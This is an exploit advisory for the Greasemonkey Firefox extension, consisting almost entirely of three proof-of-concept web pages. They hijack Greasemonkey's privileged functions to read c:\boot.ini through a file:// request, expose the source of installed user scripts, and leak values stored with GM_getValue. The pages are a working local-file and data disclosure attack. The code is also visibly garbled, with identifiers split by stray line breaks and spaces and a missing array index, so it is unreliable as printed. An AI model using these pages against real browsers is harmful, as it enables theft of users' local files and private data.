Greasemonkey Firefox Extension Arbitrary File Disclosure Exploit
Advisory : FrSIRT/ADV-2005-1147
Rated as : High Risk
// Proof of concept exploits by Mark Pilgrim
// #1 - Will disclose the contents of c:\boot.ini
<html>
<head>
<script type="text/javascript">
window._GM_xml
httpRequest = null;
function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_xml
httpRequest = window.GM_xmlh
ttpRequest;
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_xml
httpRequest = sNewValue[0];
return sNewValue;
}
function checkGM() {
if (window._GM_xml
httpRequest) {
window._GM_xml
httpRequest({method: 'GET', url: 'file:///c:/boot.ini', onload:
function(oResponseDetai
ls) { document.body.
innerHTML = '
' +
oResponseDetai ls.responseTex t; }});
}
}
if (typeof window.addEven tListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEven tListener('load', checkGM, true);
}
</script>
<title>GM_xmlhttpRequ est leakage demo</title>
</head>
<body>
</body>
</html>
----------------------------------------------------------------------------------------
// #2 - User Scripts Disclosure
<html>
<head>
<script type="text/javascript">
window._GM_scr ipts = [
];
document._numP
reviousScripts
= document.getEl
ementsByTagNam
e('script').length;
function trapREPLACEScr
ipt(event) {
var doc = event.currentT
arget;
var arScripts = doc.getElement
sByTagName('script');
if (arScripts.leng
th > document._numP
reviousScripts
) {
window._GM_scr
ipts.push(arScripts[document._numPreviousScripts].innerHTML);
}
}
function trapGM(sPropertyName, sOldValue, sNewValue) {
document.addEv
entListener('DOMNodeREPLACE
ed', trapREPLACEScr
ipt, true);
return sNewValue;
}
function checkGM() {
document.remov
eEventListener
('DOMNodeREPLACE
ed', trapREPLACEScr
ipt, true);
var elmMessage = document.getEl
ementById('message');
if (!window._GM_scr
ipts.length) {
elmMessage.inn
erHTML = 'You do not appear to be running any Greasemonkey scripts,
or the test failed for some reason. Try installing some user scripts that run on all pages,
then refresh this page.';
return; }
var elmForm = document.getEl
ementById('f');
for (var i = 0; i < window._GM_scr
ipts.length; i++) {
var elmTextarea = document.creat
eElement('textarea');
elmTextarea.ro
ws = 20;
elmTextarea.co
ls = 80;
elmTextarea.va
lue = window._GM_scr
ipts
;
elmForm.append Child(elmTextarea);
elmForm.append Child(document.creat eElement('br'));
if (!elmMessage.inn erHTML) {
elmMessage.inn erHTML = 'You appear to be running the following Greasemonkey user
scripts on this page:';
}
}
}
if (typeof window.addEven tListener != 'undefined') {
window.watch('GM_log', trapGM); // GM 0.3
window.watch('GM_apis', trapGM); // GM 0.4
window.addEven tListener('load', checkGM, true);
}
</script>
<title>Greasemonkey script leakage demo</title>
</head>
<body>
<p id="message"></p>
<form id="f"></form>
</body>
</html>
----------------------------------------------------------------------------------------
// #3 - GM_setValue / GM_getValue Information disclosure
<html>
<head>
<script type="text/javascript">
window._GM_get Value = [];
function trapGM03(sPropertyName, sOldValue, sNewValue) {
window._GM_get Value.push(window.GM_getV alue);
return sNewValue;
}
function trapGM04(sPropertyName, sOldValue, sNewValue) {
window._GM_get Value.push(sNewValue[3]);
return sNewValue;
}
function checkGM() {
if (window._GM_get Value.length) {
for (var i = 0; i < window._GM_get Value.length; i++) {
var fGetValue = window._GM_get Value;
var sValue = fGetValue('my.secret.key');
if (sValue) {
document.getEl ementById('message').innerHTML = 'GM_getValue("my.secret.key") =
' + sValue;
break;
}
}
}
}
if (typeof window.addEven tListener != 'undefined') {
window.watch('GM_log', trapGM03);
window.watch('GM_apis', trapGM04);
window.addEven tListener('load', checkGM, true);
}
</script>
<title>Greasemonkey function leakage demo</title>
</head>
<body>
<p id="message">Install <a href="mysecretkey.us er.js">mysecretkey.us er.js[/url],
then refresh this page.</p>
<-- mysecretkey.us er.js contains : GM_setValue('my.secret.key', 'f00bar'); -->
</body>
</html>